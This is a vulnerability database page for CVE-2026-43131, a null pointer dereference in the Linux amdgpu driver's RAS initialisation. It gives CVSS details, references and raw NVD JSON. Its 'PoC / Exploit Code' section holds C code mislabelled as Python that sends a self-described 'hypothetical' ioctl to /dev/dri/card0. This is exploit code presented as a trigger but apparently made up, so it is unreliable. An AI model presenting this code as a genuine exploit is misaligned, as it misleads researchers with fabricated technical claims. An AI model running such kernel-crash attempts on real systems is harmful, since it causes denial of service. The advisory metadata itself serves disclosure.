CVE-2026-43131

Description

In the Linux kernel, the following vulnerability has been resolved: drm/amd/pm: Fix null pointer dereference issue If SMU is disabled, during RAS initialization, there will be null pointer dereference issue here.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Mainline)

Linux Kernel (Stable branches prior to fix)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43131
 * Conceptual trigger for Null Pointer Dereference in drm/amd/pm.
 * This code attempts to interact with the amdgpu driver to trigger the RAS init path.
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define DEVICE_PATH "/dev/dri/card0"
// Hypothetical IOCTL or command to trigger RAS initialization
#define AMDGPU_RAS_INIT_TRIGGER 0x40046401

int main(int argc, char **argv) {
    int fd;
    
    printf("[+] Attempting to open %s\n", DEVICE_PATH);
    fd = open(DEVICE_PATH, O_RDWR);
    if (fd < 0) {
        perror("[-] Failed to open device");
        return 1;
    }

    printf("[+] Triggering RAS initialization logic...\n");
    
    // Issue IOCTL that traverses the vulnerable code path
    // If SMU is disabled, this leads to a NULL pointer dereference in the kernel
    if (ioctl(fd, AMDGPU_RAS_INIT_TRIGGER, NULL) < 0) {
        perror("[-] IOCTL failed");
    } else {
        printf("[+] IOCTL executed successfully (System might be unstable)");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43131
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43131
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43131/
[4] VulDB https://vuldb.com/cve/CVE-2026-43131
[5] https://git.kernel.org/stable/c/1197366cca89a4c44c541ddedb8ce8bf0757993d
[6] https://git.kernel.org/stable/c/8e035505fa0e5b7c4306fd3f4e27f8e8f5bfad8c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43131", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:30.243", "lastModified": "2026-05-08T17:42:07.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/pm: Fix null pointer dereference issue\n\nIf SMU is disabled, during RAS initialization,\nthere will be null pointer dereference issue here."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.19.6", "matchCriteriaId": "6459F69A-5AEB-42B1-8962-B4C4E364C033"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1197366cca89a4c44c541ddedb8ce8bf0757993d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8e035505fa0e5b7c4306fd3f4e27f8e8f5bfad8c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}